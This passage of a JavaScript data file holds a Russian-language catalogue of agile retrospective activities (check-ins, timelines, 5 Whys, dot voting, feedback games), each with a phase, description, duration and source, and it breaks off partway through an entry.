source_facilitatorsGuide: "<a href=\"http://www.amazon.de/Facilitators-Participatory-Decision-Making-Jossey-Bass-Management/dp/0787982660/\">Facilitator's Guide to Participatory Decision-Making<\/a>"
source_skycoach: "<a href=\"http://skycoach.be/ss/\"><NAME></a>"
source_judith: "<a href=\"https://leanpub.com/ErfolgreicheRetrospektiven\"><NAME></a>"
source_unknown: "Unknown"
YAML;
return Yaml::parse($yaml);
}
}
<file_sep>// BIG ARRAY OF ALL ACTIVITIES
// Mandatory: id, phase, name, summary, desc
// Example:
//all_activities[i] = {
// id: i+1,
// phase: int in {1-5},
// name: "",
// summary: "",
// desc: "Multiple \
// Lines",
// durationDetail: "",
// duration: "Short | Medium | Long | Flexible", Короткая, Средняя, Длительная, Гибкая
// stage: "All" or one or more of "Forming, Norming, Storming, Performing, Stagnating, Adjourning" Формирование, Бурление, Нормирование, Функционирование
// source: "",
// more: "", // a link
// suitable: "",
//};
// Values for durationDetail: "<minMinutes>-<maxMinutes> perPerson"
// Values for suitable: "iteration, realease, project, introverts, max10People, rootCause, smoothSailing, immature, largeGroup" итерация, релиз, проект, интроверты, до10человек, кореннаяПричина, несформировавшийся
all_activities = [];
all_activities[0] = {
phase: 0,
name: "ИПОЗ (англ. ESVP)",
summary: "Как чувствуют себя участники ретроспективы, как Исследователи, Покупатели, Отдыхающие или Заключённые?",
desc: "Подготовьте флипчарт с зонами для И, П, О, З. Объясните значение:<br>\
<ul>\
<li>Исследователи: Стремятся полностью погрузиться и исследовать что произошло и улучшить работу команды.</li>\
<li>Покупатели: Позитивно настроены, будут рады если вынесут хотя бы одну полезную для себя вещь.</li>\
<li>Отдыхающие: Не хотят активно участвовать, но рады отвлечению от обычной работы.</li>\
<li>Заключенные: Присутствуют только потому, что чувствуют обязанность быть здесь.</li>\
</ul>\
Проведите опрос (анонимно, на листочках бумаги). Посчитайте ответы и покажите результат на флипчарте так, \
чтобы все видели. Если доверие в команде низкое, сознательно уничтожьте бумажки с голосами, \
чтобы обеспечить конфиденциальность. Спросите, что участники думают о полученных данных. Если \
большинство Отдыхающие и Заключенные, возможно вам стоит посвятить всю ретроспективу этому вопросу.",
source: source_agileRetrospectives,
durationDetail: "5-10 numberPeople",
duration: "Короткая",
stage: "Формирование, Бурление"
};
all_activities[1] = {
phase: 0,
name: "Прогноз Погоды",
summary: "Участники отмечают свою 'погоду' (настроение) на флипчарте.",
desc: "Подготовьте флипчарт с символами шторма, дождя, облаков и солнца. \
Каждый участник отмечает свое настроение на флипчарте.",
duration: "Короткая",
stage: "All",
source: source_agileRetrospectives
};
all_activities[2] = {
phase: 0,
name: "Check In - короткий вопрос", // TODO This can be expanded to at least 10 different variants - how?
summary: "Задаётся один вопрос, на который участники по очереди отвечают",
desc: "По очереди каждый участник отвечает на заданный вопрос (допускается пропустить очередь просто сказав 'Пас'). \
Примеры вопросов: <br>\
<ul>\
<li>Одним словом - чего ты ожидаешь от этой ретроспективы?</li>\
Работайте с возникающими опасениями, например записывайте их на стикеры и отложите их в сторону, и физически и ментально.</li>\
<li>Во время этой ретроспективы - если бы вы были автомобилем, какой бы это был автомобиль?</li>\
<li>В каком эмоциональном состояние вы сейчас находитесь? (Например, 'радость', 'гнев', 'грусть', 'страх'?)</li>\
<li>Если бы вы могли изменить что-то одно в прошедшем спринте, то что бы это было?</li>\
</ul><br>\
Избегайте оценочных комментариев к ответам, таких как 'Отлично!'. Простого 'Спасибо' достаточно.",
duration: "Короткая",
stage: "All",
source: source_agileRetrospectives
};
all_activities[3] = {
phase: 1,
name: "Таймлайн - Хронология",
summary: "Участники записывают важные события в хронологическом порядке",
desc: "Разделитесь на группы по 5 или меньше человек. Раздайте карточки и маркеры.\
Дайте участникам 10 минут, чтобы записать памятные и для них значимые события. Важно собрать \
много перспектив. Стремление к единогласию может этому помешать. Все участиники выкладывают или \
приклеивают свои карточки на хронологически подходящую позицию. Можно и сейчас добавлять новые \
карточки. Анализируйте сформировавшуюся картину.<br>\
Можно использовать карточки разных цветов чтобы распознать закономерности, например:<br>\
<ul>\
<li>Чувства/Эмоции</li>\
<li>События (технические, организационные, ..) </li>\
<li>Функции (тестер, разработчик, менеджер, ...)</li>\
</ul>",
source: source_agileRetrospectives,
durationDetail: "60-90 минут",
duration: "Средняя",
stage: "All",
suitable: "итерация, релиз, интроверты"
};
all_activities[4] = {
phase: 1,
name: "Анализ историй",
summary: "Анализ всех историй обработанных командой и поиск возможных улучшений.",
desc: "Подготовка: соберите все истории обработанные во время итерации и возьмите их с собой \
на ретроспективу.<br> \
В группе (до 10 человек) прочитайте каждую историю и обсудите, что было удачно, а что нет.\
Если история хорошо удалась, запишите почему. Если были сложности, обсудите, что можно сделать \
по-другому в следующий раз.<br>\
Варианты: Вместо историй вы можете использовать обработанные дефекты, запросы или любую другую комбинацию\
заданий выполненных командой.",
duration: "Длительная",
stage: "Бурление, Нормирование",
source: source_findingMarbles,
suitable: "итерация, max10people"
};
all_activities[5] = {
phase: 1,
name: "Подобное к подобному",
summary: "Участники сопоставляют свои идеи Прекратить-Продолжать-Начать с карточками характеристик",
desc: "Эта активность основана на настольной игре 'Яблоки к яблокам', для более подробного \
описания игрового процесса обратитесь к описанию игры в интернете.<br> \
Вам нужно подготовить 20 карточек с характеристиками, на которых написаны прилагательные: \
<i>'Самое время', 'Мило', 'Прекрасно', 'Это Огонь!', 'Опасно', 'Свежо', 'Рискованно', 'Креативно', \
'Весело', 'Отвратительно', 'Великолепно', 'Смелая идея',</i> и т.п. <br> \
Попросите каждого участника сделать как минимум 9 карточек идей: 3 идеи что следует прекратить делать, \
3 идеи что следует продолжать делать, 3 идеи что следует начать делать. Далее начинается игра. \
Выбирается первый судья. Судья берет из стопки первую карточку с характеристикой (например <i>'Самое время'</i>), \
показывает всем, а участники выкладывают на стол свою идею текстом вниз. Тот, кто выложил последним, \
забирает идею обратно и в текущем раунде не участвует. Судья перемешивает идеи, переворачивает текстом вверх, \
и выбирает ту, которая наиболее подходит под карточку характеристики. Автор победившей идеи получает карточку \
характеристики в качестве бонуса. Использованные идеи убираются со стола и далее в игре не участвуют. \
Далее роль судьи передается следующему участнику и начинается следующий раунд. Игра заканчивается когда \
у участников заканчиваются карточки идей. Побеждает участник собравший наибольшее количество карточек характеристик. \
После игры проведите дебрифинг.",
source: source_agileRetrospectives,
durationDetail: "30-40",
duration: "Длительная",
stage: "All",
suitable: "итерация, интроверты"
};
all_activities[6] = {
phase: 1,
name: "Гнев, грусть и радость",
summary: "Поиск и анализ событий, по поводу которых члены команды испытывали гнев, грусть или радость.",
desc: "Повесьте три флипчарта с названиями: 'Гнев', 'Грусть' и 'Радость' (или альтенативно '>:), :(, :) ). Подготовьте карточки \
определенного цвета для каждого чувства. Члены команды записывают события по одному на карточку цвета, подходящего к испытанному чувству. \
Когда время истекло, все прикрепляют свои карточки к соответствующим плакатам. Попросите сгруппировать карточки на каждом флипчарте и дать \
сформировавшимся группам названия. <br>\
Разберите спрашивая:\
<ul>\
<li>Что выделяется? Что неожиданно?</li>\
<li>Что было сложным? Что доставляло удовольствие?</li>\
<li>Какие закономерности видны? Что они значат для команды?</li>\
<li>Что теперь нужно сделать?</li>\
</ul>",
source: source_agileRetrospectives,
durationDetail: "15-25",
duration: "Средняя",
stage: "All",
suitable: "итерация, релиз, проект, интроверты"
};
all_activities[7] = {
phase: 2,
name: "5 Почему",
summary: "Докопаться до корневых причин проблемы постоянно задавая вопрос 'Почему?'",
desc: "Объедините участников в малые группы (не более 4-х человек) и дайте каждой \
группе одну из выявленных проблем. Проинструктируйте группы:\
<ul>\
<li>Кто-то один постоянно задает вопрос 'Почему это произошло?' чтобы прояснить цепочку событий и выявить корневую причину</li>\
<li>Запишите корневую причину (обычно это ответ на пятый вопрос 'Почему?')</li>\
</ul>\
Попросите группы поделиться своими результатами друг с другом.",
source: source_agileRetrospectives,
durationDetail: "15-20",
duration: "Короткая",
stage: "All",
suitable: "итерация, релиз, проект, корневая_причина"
};
all_activities[8] = {
phase: 2,
name: "Матрица обучения",
summary: "Мозговой штурм по 4-м категориям для быстрого выявления проблем",
desc: "После завершения этапа 'Сбор данных' нарисуйте 4 квадрата на белой доске или на \
листе флипчарта с заголовками ':)', ':(', 'Идея!', и 'Благодарность'. Раздайте участникам стикеры. \
<ul>\
<li>Участники могут писать свои мысли в любой квадрант. Каждая отдельная мысль на отдельном стикере.</li>\
<li>Сгруппируйте стикеры.</li>\
<li>Проведите голосование точками за наиболее важные мысли (6-9 точек на человека).</li>\
</ul>\
Получившийся список является отправной точкой для следующего этапа: 'Разработка плана действий'.",
source: source_agileRetrospectives,
durationDetail: "20-25",
duration: "Средняя",
stage: "All",
suitable: "итерация"
};
all_activities[9] = {
phase: 2,
name: "Мозговой штурм / фильтрация",
summary: "Сгенерируйте множество идей и отфильтруйте их согласно критериям",
desc: "Изложите цель и правила проведения мозгового штурма: <em>Сперва</em> генерируем как \
можно больше новых идей, и <em>только потом</em> фильтруем.\
<ul>\
<li>Дайте участникам 5-10 минут чтобы записать свои идеи.</li>\
<li>Сбор идей организуйте по кругу по одной от человека. Повторяйте пока все идеи не окажутся на листе флипчарта.</li>\
<li>Попросите участников составить список возможных критериев (например: стоимость, трудоемкость, \
сложность, инновационность и т.п.) и попросите выбрать 4.</li>\
<li>Выберите идеи удовлетворяющие всем 4-м критериям.</li>\
<li>Какие идеи команда возьмет в работу? Кто из участников испытывает уверенность относительно \
хотя бы одной идеи? Если нет - выберите идеи путем голосования большинством.</li>\
</ul>\
Выбранные идеи переходят на следующий этап ретроспективы: 'Разработка плана действий'.",
source: source_agileRetrospectives,
more: "<a href='http://www.mpdailyfix.com/the-best-brainstorming-nine-ways-to-be-a-great-brainstorm-lead/'>\
Nine Ways To Be A Great Brainstorm Lead</a>",
durationDetail: "40-60",
duration: "Длительная",
stage: "All",
suitable: "итерация, релиз, проект, интроверты"
};
all_activities[10] = {
phase: 3,
name: "Круг вопросов",
summary: "Участники по кругу отвечают и задают вопросы - отличный способ достичь взаимопонимания",
desc: "Попросите группу сесть в круг. Первый участник задает вопрос соседу слева касательно \
плана действий. Например: 'Как ты считаешь, какое самое важное изменение нам следует попробовать на \
следующей итерации?'. Сосед отвечает на вопрос, а затем задает своему соседу слева вопрос, который \
либо расширяет предыдущий вопрос, либо начинает новый. И так далее по кругу, пока группа не достигнет \
взаимопонимания по вопросу, либо не закончится выделенное время. Следует пройти как минимум один круг, \
чтобы у каждого была возможность высказаться!",
source: source_agileRetrospectives,
durationDetail: "30+ groupsize",
duration: "Средняя",
stage: "Формирование, Нормирование",
suitable: "итерация, релиз, проект, интроверты"
};
all_activities[11] = {
phase: 3,
name: "Голосование точками - Начать, Прекратить, Продолжать",
summary: "Мозговой штурм в формате 'начать, прекратить, продолжать' и выбор лучших предложений",
desc: "Разделите флипчарт на 3 колонки 'Начать', 'Прекратить' и 'Продолжать'. Попросите участников \
написать свои предложения в каждую из колонок - отдельное предложение на отдельном стикере. Дайте им на \
это 5 минут и попросите соблюдать тишину. Затем попросите зачитать свои предложения и повесить на флипчарт. \
Организуйте короткую дискуссию какие 20% предложений наиболее ценные. Затем попросите участников \
проголосовать точками (по 3 точки на человека). 2-3 предложения, набравшие наибольшее количество голосов, \
превращаются в план действий. \
<br><br>\
(Посмотрите интересную вариацию этого упражнения от <NAME>: <a href='http://www.funretrospectives.com/open-the-box/'>'Open the Box'</a>.)",
source: source_agileRetrospectives,
durationDetail: "15-30",
duration: "Средняя",
stage: "All",
suitable: "итерация"
};
all_activities[12] = {
phase: 3,
name: "SMART-задачи",
summary: "Сформулируйте конкретный и измеримый план действий",
desc: "Презентуйте группе концепцию <a href='http://ru.wikipedia.org/wiki/SMART'>SMART</a>-задач: \
Specific (конкретная), Measurable (измеримая), Attainable (достижимая), Relevant (актуальная), \
Timely (ограничена во времени). Приведите примеры SMART и НЕ-SMART задач. НЕ-SMART: 'Нужно прорабатывать \
истории перед взятием в спринт'. SMART: 'Перед взятием в спринт мы будем прорабатывать истории, обсуждая \
их вместе с Product Owner'ом каждую среду в 9:00 утра'.<br>\
Сформируйте малые группы вокруг рассматриваемых вопросов. Задача группы - определить 1-5 конкретных \
шагов для решения поставленной задачи. Попросите группы презентовать свои результаты. Все участники \
должны подтвердить, что предложенные шаги соответствуют концепции SMART. При необходимости доработайте \
и подтвердите.",
source: source_agileRetrospectives,
durationDetail: "20-60 groupsize",
duration: "Средняя",
stage: "All",
suitable: "итерация, релиз, проект"
};
all_activities[13] = {
phase: 4,
name: "<NAME> - Числа",
summary: "Всего за несколько минут получите отзыв о том, насколько участники довольны ретроспективой",
desc: "Приклейте на дверь стикеры с цифрами от 1 до 5. Объясните, что цифры представляют шкалу, \
где 5 означает прекрасно или отлично, а 1 - плохо. \
Когда ретроспектива подойдет к концу, попросите всех наклеить стикер около цифры, которая по их мнению \
наиболее точно отображает, насколько участник доволен ретроспективой. \
Стикер может быть как пустым, так и содержать комментарии или предложения по улучшению ретроспективы.",
source: "ALE 2011, " + source_findingMarbles,
durationDetail: "2-3",
duration: "Короткая",
stage: "Формирование, Функционирование",
suitable: "итерация, большие группы"
};
all_activities[14] = {
phase: 4,
name: "Благодарность",
summary: "Позвольте участникам команды поблагодарить друг друга",
desc: "Начните выражать искреннюю благодарность одному из участников.\
Похвала может относиться к любому действию или событию, которое например способствовало в решении проблем в команде или вам лично, ... \
Затем пригласите участников присоединиться и высказать благодарность или похвалу друг другу. \
Молчите некоторое время, чтобы создать небольшое напряжение и побудить участников к действию.\
Закончите, когда молчание длиться больше 1 минуты и никто из участников больше не хочет высказаться.",
source: source_agileRetrospectives + " who took it from 'The Satir Model: Family Therapy and Beyond'",
durationDetail: "5-30 groupsize",
duration: "Короткая",
stage: "Любая",
suitable: "итерация, релиз, проект"
};
all_activities[15] = {
phase: 4,
name: "Помогает, Мешает, Гипотеза",
summary: "Получите конкретный отзыв о том, как вы содействуете команде",
desc: "Подготовьте 3 флипчарта с названиями 'Помогает', 'Мешает', и 'Гипотеза' \
(предложения о том, что можно попробовать). \
Попросите участников помочь вам развиваться в профессиональном смысле и улучшать свои навыки ведущего ретроспективы. Участники пишут\
на стикерах свои отзывы и имена, чтобы вы потом могли им задать уточняющие вопросы.",
source: source_agileRetrospectives,
durationDetail: "5-10",
duration: "Средняя",
stage: "Формирование, Бурление",
suitable: "итерация, релиз"
};
all_activities[16] = {
phase: 4, // 5 geht auch
name: "Больше, Меньше, Так держать",
summary: "Получите обратную связь на свое поведение как ведущего ретроспективы",
desc: "Разделите флипчарт на 3 колонки 'Больше', 'Меньше' и 'Так держать'. \
Попросите участников скорректировать ваше поведение как ведущего ретроспективы: Записать на стикерах \
что вам следует делать больше, что следует делать меньше, и что следует оставить без изменений. \
Зачитайте и кратко обсудите полученную информацию.",
source: "<a href='http://fairlygoodpractices.com/samolo.htm'>Fairly good practices</a>",
more: "<a href='http://www.scrumology.net/2010/05/11/samolo-retrospectives/'>David Bland's experiences</a>",
durationDetail: "5-10",
duration: "Средняя",
stage: "Формирование, Бурление",
suitable: "итерация, релиз, проект"
};
all_activities[17] = {
phase: 0,
name: "Отзыв на Яндекс-Маркете",
summary: "Напишите отзыв о прошедшей итерации в стиле Яндекс-Маркета",
desc: "Попросите участников написать короткий отзыв о прошедшей итерации в формате: \
<ul>\
<li>Заголовок</li>\
<li>Содержание</li>\
<li>Количество звезд по пятибалльной шкале</li>\
</ul>\
Далее попросите зачитать свои отзывы. Оценки записывайте на флипчарт.<br>\
Упражнение можно расширить на всю ретроспективу добавив вопросы: что бы вы порекомендовали на \
следующую итерацию, а что бы не стали рекомендовать.",
source: "<a href='http://blog.codecentric.de/2012/02/unser-sprint-bei-amazon/'>Christian Heiß</a>",
durationDetail: "10",
duration: "Длительная",
stage: "All",
suitable: "релиз, проект"
};
all_activities[18] = {
phase: 1,
name: "Катер / Яхта",
summary: "Проанализируйте что двигает вас вперед, а что тянет назад",
desc: "Нарисуйте на листе флипчарта катер с мощным мотором и большим тяжелым якорем. Попросите \
участников в тишине записать на стикерах что двигает команду вперед (мотор), а что тормозит и мешает \
(якорь). Каждая мысль на отдельном стикере. Попросите развесить стикеры на мотор и якорь соответственно. \
Зачитайте каждый и обсудите, каким образом усилить движущие и устранить сдерживающие факторы. \
<br><br> \
Вариация: Иногда на рисунок добавляют айсберг, олицетворяющий предстоящие трудности, которые команда видит \
на своем пути.",
source: source_innovationGames + ", найдено у <a href='http://leadinganswers.typepad.com/leading_answers/2007/10/calgary-apln-pl.html'><NAME></a>",
durationDetail: "10-15 groupSize",
duration: "Средняя",
stage: "All",
suitable: "итерация, релиз"
};
all_activities[19] = {
phase: 2,
name: "Игра в совершенство",
summary: "Что сделает следующую итерацию совершенной (на 10 баллов из 10)?",
desc: "Разделите флипчарт на 2 колонки: узкая колонка 'Оценка' и широкая 'Улучшения'. Каждый \
оценивает прошедшую итерацию по шкале от 1 до 10. После чего группа должна предложить улучшения, \
которые сделают следующую итерацию идеальной (10 баллов из 10).",
source: "<a href='http://www.benlinders.com/2011/getting-business-value-out-of-agile-retrospectives/'><NAME></a>",
duration: "Средняя",
stage: "All",
suitable: "итерация, релиз"
};
all_activities[20] = {
phase: 3,
name: "Выжимка",
summary: "Сведите все возможные действия к двум, которые команда возьмет в работу",
desc: "Раздайте стикеры и маркеры. Попросите каждого записать два улучшения, которые он хочет \
попробовать на следующей итерации. Попросите писать максимально конкретно в соответствии c концепцией \
<a href='http://ru.wikipedia.org/wiki/SMART'>SMART</a>. Далее участники объединяются в пары, и каждая \
пара должна из 4-х улучшений выбрать 2 наилучших. Затем пары объединяются в группы по 4 человека и снова \
выбирают 2 из 4-х. Затем группы по 8 человек. После соберите победившие идеи и общим голосованием выберите \
финальные 2",
source: "<NAME> & <NAME>",
durationDetail: "15-30 groupSize",
duration: "Средняя",
stage: "All",
suitable: "итерация, релиз, проект, большие группы"
};
all_activities[21] = {
phase: 0,
name: "Измерение температуры",
summary: "Участники отмечают свою 'температуру' (настроение) на флипчарте",
desc: "Подготовьте флипчарт с рисунком термометра и шкалой с отметками замерзание, температура тела и кипяток. \
Каждый участник отмечает свое настроение",
duration: "Короткая",
stage: "All",
source: source_unknown
};
all_activities[22] = {
phase: 4,
name: "<NAME> - со смайликами",
summary: "Узнайте уровень удовлетворенности с ретроспективой за минимальный срок, используя смайлики",
desc: "Нарисуйте ':)', ':|', и ':(' на листе бумаги и прикрепите его на дверь. \
Когда закончится ретроспектива, попросите участников, дать отзыв буквой 'X' под подходящим смайликом.",
source: "<a href='http://boeffi.net/tutorials/roti-return-on-time-invested-wie-funktionierts/'>Boeffi</a>",
durationDetail: "2-3",
duration: "Короткая",
stage: "All",
suitable: "итерация, большаяГруппа"
};
all_activities[23] = {
phase: 3,
name: "Открытый список дел",
summary: "Участники предлагают и берут ответственность за действия",
desc: "Подготовте флипчарт с 3 колонками 'Что', 'Кто' и 'Когда'. \
Спросите участников одного за другим, что они хотят сделать для улучшения \
команды. Запишите действие, договоритесь о том 'когда' оно должно быть сделано и \
попросите участника вписать своё имя. <br>\
Если кто-то предлагает действие для всей команды, то он должен договориться \
со всеми, чтобы они сами вписали своё имя.",
source: source_findingMarbles + ", инспирированно <a href='http://lwscologne.wordpress.com/2012/05/08/11-treffen-der-limited-wip-society-cologne/#Retrospektiven'>этим списком</a>",
durationDetail: "10-15 groupSize",
duration: "Средняя",
stage: "All",
suitable: "итерация, релиз, малаягруппа"
};
all_activities[24] = {
phase: 2,
name: "Причинно-Следственная Диаграмма",
summary: "Найти источник проблемы, происхождение которой трудно определить и приводит к бесконечным дискуссиям",
desc: "Напишите проблему, которую вы хотите исследовать на стикер и приклейте его в середину доски. \
Анализируйте в чем конкретно состоит проблема, постоянно спрашивая 'Что следует из этого?'. \
Выясняйте первопричины спрашиваю, 'почему' (это произошло)? Записывайте ваши выводы на стикерах. \
Визуализируйте причинно-следственные связи с помощью стрелок. Каждый стикер можете иметь несколько причин и несколько следствий.<br> \
Если вы найдёте причинно-следственный круг это, как правило, представляют собой хорошую базу для действий. \
Если вы можете сломать этот негативный круг, вы можете улучшить сразу очень многое.",
source: "<a href='http://blog.crisp.se/2009/09/29/henrikkniberg/1254176460000'>H<NAME></a>",
more: "<a href='http://finding-marbles.com/2011/08/04/cause-effect-diagrams/'>Corinna's experiences</a>",
durationDetail: "20-60 complexity",
duration: "Длительная",
stage: "Бурление, Нормирование",
suitable: "релиз, проект, малаягруппа, complex"
};
all_activities[25] = {
phase: 2,
name: "Быстрое свидание",
summary: "Каждый участник команды подробно обсуждает одну тему с помощью серий разговоров 1 на 1",
desc: "Каждый участник записывает одну тему, которую он хочет обсудить, например что-то, что он хочет \
изменить. Затем участники формируют пары и распределяются по комнате. Каждая пара обсуждает две темы (по одной от каждого из участников)\
и обдумывает возможные действия - на каждую тему дается по 5 минут и темы обсуждаются по очереди. \
Через 10 минут пары расформируются и участники создают новые пары. Так продолжаем, \
пока каждый участник не переговорит со всеми другими участниками команды. <br>\
Если количество участников в группе нечетное, то ведущий ретроспективы составляет пару, но не предлагает свою тему. \
Участник получает на обсуждение своей темы все 10 минут.",
source: "<a href='http://vinylbaustein.net/tag/retrospective/'>Торстен Калнин (<NAME>)</a>",
durationDetail: "10 perPerson",
duration: "Длительная",
stage: "Бурление, Нормирование",
suitable: "итерация, релиз, небольшие группы"
};
all_activities[26] = {
phase: 5,
name: "Печенье для ретроспективы",
summary: "Организуйте обед для команды и инициируй обсуждение предсказаний из печенья для ретроспективы.",
desc: "Предложите команде пообедать вместе, лучше всего в китайском или азиатском кафе, чтобы оставаться "в теме". \
Распределите печенье с предсказаниями. Каждый участник открывает свое печенье и все обсуждают предсказание. \
Примеры предсказаний: \
<ul>\
<li>Что было наиболее эффективно в этой итерации и почему это было настолько успешно?</li>\
<li>Отображает ли реальность наша диаграмма сгорания? Почему да или почему нет?</li>\
<li>Чем ты способствуешь обществу разработчиков в нашей компании? Какой вклад ты еще можешь внести?</li>\
<li>Что было в этой итерации наибольшим препятствием для команды?</li>\
</ul>\
Такое печенье можно <a href='http://weisbart.com/cookies/'> заказать в Weisbart</a> \
либо испечь самостоятельно, если английский не родной язык для команды.",
source: "<a href='http://weisbart.com/cookies/'><NAME></a>",
durationDetail: "90-120",
duration: "Длительная",
stage: "Функционирование, Стагнация, Расформирование",
suitable: "итерация, релиз, небольшие группы"
};
all_activities[27] = {
phase: 5,
name: "Прогулка",
summary: "Пойдите в ближайший парк, прогуляйтесь и просто поболтайте",
desc: "На улице хорошая погода? Зачем оставаться в закрытом помещении, когда можно выйти на свежий воздух, наполнить свой мозг кислородом \
и новыми оригинальными идеями, отличающимися от стандартных предложений. Выйдите и прогуляйтесь в ближайший парк. \
Разговор естественным образом сведётся к темам, связанным с работой. Это хороший способ отвлечься от рутинных дел, когда рабочий процесс налажен и все работает относительно гладко. \
Чтобы поддержать дискуссию не требуется дополнительных средств, таких как визуализация или документирование. Зрелые команды могут легко выносить на обсуждение и \
беседовать о важных темах, а так же достигать соглашений даже в такой неформальной обстановке",
source: source_findingMarbles,
durationDetail: "60-90",
duration: "Длительная",
stage: "Функционирование, Расформирование",
suitable: "итерация, релиз, небольшие группы, smoothSailing, mature"
};
all_activities[28] = {
phase: 3,
name: "Круги и суп / Области влияния",
summary: "Участники создают список действий в зависимости от того, как они могут влиять на ситуацию. ",
desc: "Приготовьте флип чарт с 3 концентрическими кругами, каждый круг должен быть достаточно большим, чтобы вместить в себя несколько стикеров. \
Назовите внутренний круг 'Команда контролирует - Действие', средний 'Команда влияет - Рекомендованное действие' и самый большой 'Суп - Реакция команды', \
(В данном случае 'Суп' означает более широкую структуру, которая включает в себя команду, например сама организация, или влияет на решения команды) \
Расположите стикеры с выводами, информацией и проблемами из предыдущей фазы в соответствующие круги.<br> \
Участники записывают возможные действия, работая в парах. Предложите парам сконцентрировать свое внимания на тех проблемах, которые находятся в их круге влияния. \
Каждая пара приклеивает стикер с возможным действием около самой проблемы и представляет его команде. \
Договоритесь с помощью дискуссии или голосования, какие из действий команда испробует в ближайшее время",
source: "<a href='http://www.futureworksconsulting.com/blog/2010/07/26/circles-and-soup/'>Диана Ларсен</a>использовала, как источник книгу <NAME>ей 'Seven Habits of Highly Effective People' и описание Джим Баллока 'Circle of Influence and Concern'",
duration: "Средняя",
stage: "Формирование, Бурление, Нормирование",
suitable: "итерация, релиз, проект, stuck, immature"
};
all_activities[29] = {
phase: 5,
name: "Поле для разговора",
summary: "Структурированный подход к обсуждению",
desc: "Поле для разговора выглядит как часть настольной игры. Вы можете найти тут \
<a href='http://www.softwarestrategy.co.uk/dialogue-sheets/'>несколько различных примеров(на английском языке)</a>. \
Выберите подходящее поле, распечатайте его в максимально большом формате (желательно А1) и следуйте инструкциям.",
source: "<a href='http://www.softwarestrategy.co.uk/dialogue-sheets/'> Allen Kelly at Software Strategy</a>",
durationDetail: "90-120",
duration: "Длительная",
stage: "Любая",
suitable: "итерация, релиз, проект"
};
all_activities[30] = {
phase: 0,
name: "Check-in - нарисуй итерацию",
summary: "Участники рисуют определенный аспект итерации",
desc: "Распределите карточки и маркеры. Задайте тему, например: \
<ul>\
<li>Как ты себя чувствовал(а) во время итерации?</li>\
<li>Твой самый приятный момент?</li>\
<li>Какова была самая большая проблема?</li>\
<li>Чего тебе не хватало?</li>\
</ul>\
Попросите участников нарисовать свой ответ и прикрепить рисунки на доску. \
Начните с того что участники угадывают, что означает картинки других. Потом создатели коротко объясняют свою картинку.<br> \
Метафоры открывают новые горизонты и помогают сформировать общее понимание вещей.",
source: source_findingMarbles + ", адаптированно из идеи <a href='http://vinylbaustein.net/2011/03/24/draw-the-problem-draw-the-challenge/'><NAME></a> and <NAME>",
durationDetail: "5 + 3 на человека",
duration: "Средняя",
stage: "Функционирование",
suitable: "итерация, релиз, проект"
};
all_activities[31] = {
phase: 0,
name: "Оценка проекта смайликами",
summary: "Помогает участникам выразить свои эмоции касательно проекта и выявить причины на ранней стадии",
desc: "Нарисуйте на флипчарте смайлики с различными эмоциями. Например: \
<ul>\
<li>шок / удивление</li>\
<li>нервозность / стресс</li>\
<li>беспомощность / подавленность</li>\
<li>смущение</li>\
<li>счастье</li>\
<li>злость</li>\
<li>перегруженность</li>\
</ul>\
Попросите каждого участника выбрать смайлик, который наиболее точно описывает его текущее отношение к проекту. \
При необходимости попросите прокомментировать свой выбор. Это веселый и эффективный способ вскрыть проблемы на \
ранней стадии, а затем обсудить их на последующих этапах ретроспективы.",
source: "<NAME>",
durationDetail: "10 для 5 человек",
duration: "Короткая",
stage: "All",
suitable: "итерация, релиз"
};
all_activities[32] = {
phase: 1,
name: "<NAME>",
summary: "Чем гордятся и о чем сожалеют участники команды?",
desc: "Разделите флипчарт на 2 колонки 'Гордость' и 'Сожаление'. Попросите участников записать на \
стикерах что вызывает чувство гордости, а что чувство сожаления. Каждая мысль на отдельном стикере. Когда \
участники закончат писать, попросите озвучить свои записи и наклеить в соответствующую колонку.<br>\
Начните групповое обсуждение задавая вопросы:\
<ul>\
<li>Что из озвученного удивило вас?</li>\
<li>Какие выводы можно сделать?</li>\
<li>Что это значит для нас, как для команды?</li>\
</ul>",
source: source_agileRetrospectives,
durationDetail: "10-15",
duration: "Средняя",
stage: "All",
suitable: "итерация, релиз"
};
all_activities[33] = {
phase: 4,
name: "<NAME>",
summary: "Послушайте что другие говорят о вас за вашей спиной - и только хорошее!",
desc: "Сформируйте группы по 3 человека. В каждой группе 2 человека садятся лицом друг к другу, а третий \
садится к ним спиной, следующим образом: >^<. Сидящие лицом к лицу обсуждают третьего в течении 2-х минут, и \
говорят только хорошее. Если была высказана положительная характеристика, то запрещается далее приуменьшать её. \
Например:\
<ul>\
<li>Пётр качественно делает свою работу</li>\
<li>Да, почти всегда его работа качественная</li>\
</ul>\
Проведите 3 раунда, чтобы каждый в группе побывал в роли слушателя.",
source: "<a href='http://www.miarka.com/de/2010/11/shower-of-appreciation-or-talking-behind-ones-back/'><NAME></a>",
durationDetail: "10-15",
duration: "Короткая",
stage: "Нормирование, Функционирование",
suitable: "итерация, релиз, зрелаяКоманда"
};
all_activities[34] = {
phase: 1,
name: "Agile чеклист",
summary: "Проверьте себя на соответствие Agile чеклисту",
desc: "Распечатайте чеклист, который лучше всего поможет команде идентифицировать зоны роста. Например:\
<ul>\
<li><a href='http://www.crisp.se/gratis-material-och-guider/scrum-checklist'>Отличный Scrum чеклист от Хенрика Книберга</a></li>\
<li><a href='http://finding-marbles.com/2011/09/30/assess-your-agile-engineering-practices/'>Чеклист по инженерным agile практикам</a></li>\
<li><a href='http://agileconsortium.blogspot.de/2007/12/nokia-test.html'>Nokia тест</a></li>\
<li><a href='http://agilemanifesto.org/iso/ru/principles.html'>12 принципов Agile манифеста</a></li>\
</ul>\
Пройдитесь с командой по чеклисту. Обсудите где вы находитесь сейчас и в правильном ли направлении двигаетесь. <br>\
Это упражнение хорошо подходит когда итерация прошла гладко без инцидентов.",
source: source_findingMarbles,
durationDetail: "10-25 минут в зависимости от чеклиста",
duration: "Средняя",
stage: "All",
suitable: "малаягруппа, итерация, релиз, проект, гладкопрошло"
};
all_activities[35] = {
phase: 0,
name: "Позитивная цель",
summary: "Сформулируйте позитивную цель ретроспективы",
desc: "Вместо обсуждения проблем сфокусируйте группу на позитивных моментах через формулирование позитивной цели ретроспективы, например:\
<ul>\
<li>Давайте выясним как усилить наши сильные стороны процесса и командной работы</li>\
<li>Давайте обсудим как расширить наш лучший опыт использования инженерных практик</li>\
<li>Мы посмотрим на примеры отличного взаимодействия и найдем способы их тиражирования</li>\
<li>Мы идентифицируем моменты наивысшей продуктивности в прошедшей итерации чтобы их было больше на следующей</li>\
</ul>",
